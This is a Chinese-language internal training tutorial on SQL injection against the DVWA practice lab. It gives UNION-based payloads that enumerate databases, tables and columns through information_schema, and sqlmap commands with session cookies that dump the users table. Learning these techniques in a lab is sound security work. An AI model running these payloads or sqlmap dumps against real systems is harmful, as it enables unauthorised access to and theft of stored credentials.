目录
2021年1月17日
技术分享-注入测试
by:leesin(ps:内部使用,未经授权不得外发)
sql注入漏洞
1-前期准备
1-1平台搭建
DVWA下载:https://github.com/ethicalhack3r/DVWA
DVWA搭建教程:https://www.fujieace.com/penetration-test/dvwa.html
1-2sql语法基础
| 语法 | 示例 | 含义 |
|---|---|---|
| SELECT 列名称 FROM 表名称 | SELECT * FROM users; | 查询user表下的所有数据 |
| … | … | … |
| 常用注入查询命令 | 含义 |
|---|---|
| 1’ and ‘1’='1 | True |
| 1’ and ‘1’='2 | False |
| 1’ order by 1 # | 判断列的长度 |
| 1’ union select 1,2 # | 显示1和2两个字段 |
| 1’ union select version(),database()# | 基本信息,数据库名字版本等 |
| 1’ union select 1,2,table_schema,count(*) from information_schema.tables group by table_schema – | 查询所有的数据库 |
| 1’ union select table_schema,count(*) from information_schema.tables group by table_schema – | 示例 |
| union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() | 查询表名 |
| 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # | 示例 |
| 1’ union select 1,group_concat(colume_name) from information_schema.columns where table_name=‘users’ | 查询列名 |
mysql的默认数据库:
| 表 | 含义 |
|---|---|
| information_schema.columns | 列名信息表 |
| information_schema.tables | 表名信息表 |

2-注入是什么?
注入漏洞是因为字符过滤不严谨所造成的,使其被当做sql语句执行,可以得到管理员的账号密码等相关资料。
2-1low(常规注入)
1' and '1'='1 True
1' and '1'='2 False
1' order by 1 # 判断列的长度
1' union select 1,2 # 显示1和2两个字段
1' union select version(),database()# 基本信息,数据库名字版本等
1' union select 1,2,table_schema,count(*) from information_schema.tables group by table_schema -- 查询所有的数据库
1' union select table_schema,count(*) from information_schema.tables group by table_schema -- 示例
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 查询表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #示例
1' union select 1,group_concat(colume_name) from information_schema.columns where table_name='users'查询列名
2-2Medium(post注入如何注)
2-3high(#注释)
2-4sqmap(盲注)注入时加cookie信息注入
注意!!!以下[中括号]以及其内的内容为你现实使用中数值
sqlmap -u '[url]' -dbs
sqlmap -u '[url]' --cookie='[cookie]' --batch[自动交互模式]
sqlmap -u '[url]' --cookie='[cookie]' --batch --dbs
爆表
sqlmap -u "[url]" --cookie="[cookie]" --batch -D dvwa --tables
爆列
sqlmap -u "[url]" --cookie="[cookie]" --batch -D dvwa -T users --columns
爆内容
sqlmap -u "[url]" --cookie="[cookie]" --batch -D dvwa -T users --columns --dump
sqlmap的使用:
信息收集(资产灯塔系统)平台使用
GitHub项目地址:https://github.com/TophantTechnology/ARL
本文详细介绍了SQL注入漏洞的原理及利用方法,包括不同难度级别的注入案例,并提供了实用的sqlmap工具使用指南。


970

被折叠的 条评论
为什么被折叠?



